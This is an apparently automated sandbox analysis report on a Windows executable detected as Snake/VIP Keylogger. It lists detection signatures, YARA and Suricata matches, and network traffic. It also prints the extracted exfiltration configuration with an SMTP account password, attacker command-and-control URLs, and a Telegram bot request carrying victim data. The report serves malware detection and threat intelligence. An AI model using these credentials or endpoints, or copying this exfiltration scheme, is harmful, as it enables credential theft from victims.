Edit tour

Windows Analysis Report
z1PO7311145.exe

Overview

General Information

Sample name:	z1PO7311145.exe
Analysis ID:	1528088
MD5:	b9a13749cc0659a2076afca8f7474509
SHA1:	4cb32e56f1333ee8eb523c442d597bad0faf49b7
SHA256:	c8f7435398a1f1de11e2b2385b2bfd92414860fe7394071ba329ad0ee1c22a48
Tags:	exeuser-Porcupine
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

z1PO7311145.exe (PID: 6492 cmdline: "C:\Users\user\Desktop\z1PO7311145.exe" MD5: B9A13749CC0659A2076AFCA8F7474509)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "manoj@electradubai.com", "Password": "LordHaveMercy!!123", "Host": "mail.electradubai.com", "Port": "25", "Version": "4.4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
z1PO7311145.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
z1PO7311145.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
z1PO7311145.exe	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
z1PO7311145.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
z1PO7311145.exe	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2df5b:$a1: get_encryptedPassword 0x2e278:$a2: get_encryptedUsername 0x2dd6b:$a3: get_timePasswordChanged 0x2de74:$a4: get_passwordField 0x2df71:$a5: set_encryptedPassword 0x2f652:$a7: get_logins 0x2f5b5:$a10: KeyLoggerEventArgs 0x2f21a:$a11: KeyLoggerEventArgsEventHandler
z1PO7311145.exe	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bd50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b3f3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b650:$a4: \Orbitum\User Data\Default\Login Data 0x3c02f:$a5: \Kometa\User Data\Default\Login Data
z1PO7311145.exe	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2eb7b:$s1: UnHook 0x2eb82:$s2: SetHook 0x2eb8a:$s3: CallNextHook 0x2eb97:$s4: _hook
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dd5b:$a1: get_encryptedPassword 0x2e078:$a2: get_encryptedUsername 0x2db6b:$a3: get_timePasswordChanged 0x2dc74:$a4: get_passwordField 0x2dd71:$a5: set_encryptedPassword 0x2f452:$a7: get_logins 0x2f3b5:$a10: KeyLoggerEventArgs 0x2f01a:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: z1PO7311145.exe PID: 6492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: z1PO7311145.exe PID: 6492	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: z1PO7311145.exe PID: 6492	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: z1PO7311145.exe PID: 6492	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb9cc0:$a1: get_encryptedPassword 0xb9fd3:$a2: get_encryptedUsername 0xb9ada:$a3: get_timePasswordChanged 0xb9be3:$a4: get_passwordField 0xb9cd6:$a5: set_encryptedPassword 0xbc181:$a7: get_logins 0xbc0e4:$a10: KeyLoggerEventArgs 0xbbd4d:$a11: KeyLoggerEventArgsEventHandler
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.z1PO7311145.exe.b30000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.z1PO7311145.exe.b30000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.z1PO7311145.exe.b30000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.0.z1PO7311145.exe.b30000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.z1PO7311145.exe.b30000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2df5b:$a1: get_encryptedPassword 0x2e278:$a2: get_encryptedUsername 0x2dd6b:$a3: get_timePasswordChanged 0x2de74:$a4: get_passwordField 0x2df71:$a5: set_encryptedPassword 0x2f652:$a7: get_logins 0x2f5b5:$a10: KeyLoggerEventArgs 0x2f21a:$a11: KeyLoggerEventArgsEventHandler
0.0.z1PO7311145.exe.b30000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bd50:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b3f3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b650:$a4: \Orbitum\User Data\Default\Login Data 0x3c02f:$a5: \Kometa\User Data\Default\Login Data
0.0.z1PO7311145.exe.b30000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2eb7b:$s1: UnHook 0x2eb82:$s2: SetHook 0x2eb8a:$s3: CallNextHook 0x2eb97:$s4: _hook
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 192.250.231.25, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Users\user\Desktop\z1PO7311145.exe, Initiated: true, ProcessId: 6492, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49770

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T15:32:12.024708+0200	2803305	3	Unknown Traffic	192.168.2.7	49701	188.114.97.3	443	TCP
2024-10-07T15:32:15.878264+0200	2803305	3	Unknown Traffic	192.168.2.7	49707	188.114.97.3	443	TCP
2024-10-07T15:32:17.084831+0200	2803305	3	Unknown Traffic	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-07T15:32:18.238750+0200	2803305	3	Unknown Traffic	192.168.2.7	49711	188.114.97.3	443	TCP
2024-10-07T15:32:19.662001+0200	2803305	3	Unknown Traffic	192.168.2.7	49713	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T15:32:10.619499+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49699	158.101.44.242	80	TCP
2024-10-07T15:32:11.463421+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49699	158.101.44.242	80	TCP
2024-10-07T15:32:12.635105+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49702	158.101.44.242	80	TCP
2024-10-07T15:32:13.791372+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49704	158.101.44.242	80	TCP
2024-10-07T15:32:14.947634+0200	2803274	2	Potentially Bad Traffic	192.168.2.7	49706	158.101.44.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: z1PO7311145.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware

Found malware configuration

Source: 0.0.z1PO7311145.exe.b30000.0.unpack

Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "manoj@electradubai.com", "Password": "LordHaveMercy!!123", "Host": "mail.electradubai.com", "Port": "25", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: z1PO7311145.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: z1PO7311145.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: z1PO7311145.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49700 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49722 version: TLS 1.2

Source: z1PO7311145.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 02DAF45Dh	0_2_02DAF2C0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 02DAF45Dh	0_2_02DAF4AC
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 02DAF45Dh	0_2_02DAF52F
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 02DAFC19h	0_2_02DAF961
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3E0A9h	0_2_06B3DE00
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B331E0h	0_2_06B32DC8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B30D0Dh	0_2_06B30B30
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B31697h	0_2_06B30B30
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B32C19h	0_2_06B32968
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3E959h	0_2_06B3E6B0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3F209h	0_2_06B3EF60
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3CF49h	0_2_06B3CCA0
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B331E0h	0_2_06B32DC2
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3D7F9h	0_2_06B3D550
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3E501h	0_2_06B3E258
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3F661h	0_2_06B3F3B8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3EDB1h	0_2_06B3EB08
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3D3A1h	0_2_06B3D0F8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3FAB9h	0_2_06B3F810
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	0_2_06B30040
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B3DC51h	0_2_06B3D9A8
Source: C:\Users\user\Desktop\z1PO7311145.exe	Code function: 4x nop then jmp 06B331E0h	0_2_06B3310E

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: z1PO7311145.exe, type: SAMPLE
Source: Yara match	File source: 0.0.z1PO7311145.exe.b30000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2007/10/2024%20/%2021:27:24%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CNSV-LLCUS CNSV-LLCUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49706 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49699 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49702 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49704 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49701 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49707 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49700 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2007/10/2024%20/%2021:27:24%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.electradubai.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 07 Oct 2024 13:32:23 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: z1PO7311145.exe, 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: z1PO7311145.exe	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: z1PO7311145.exe	String found in binary or memory: http://aborters.duckdns.org:8081
Source: z1PO7311145.exe	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: z1PO7311145.exe	String found in binary or memory: http://checkip.dyndns.org/q
Source: z1PO7311145.exe, 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.electradubai.com
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: z1PO7311145.exe	String found in binary or memory: http://varders.kozow.com:8081
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: z1PO7311145.exe	String found in binary or memory: https://api.telegram.org/bot
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20a
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000003055000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000003046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000003050000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000003046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enxK
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: z1PO7311145.exe, 00000000.00000002.3697607782.0000000003EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp, z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: z1PO7311145.exe	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: z1PO7311145.exe, 00000000.00000002.3696383781.0000000002F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
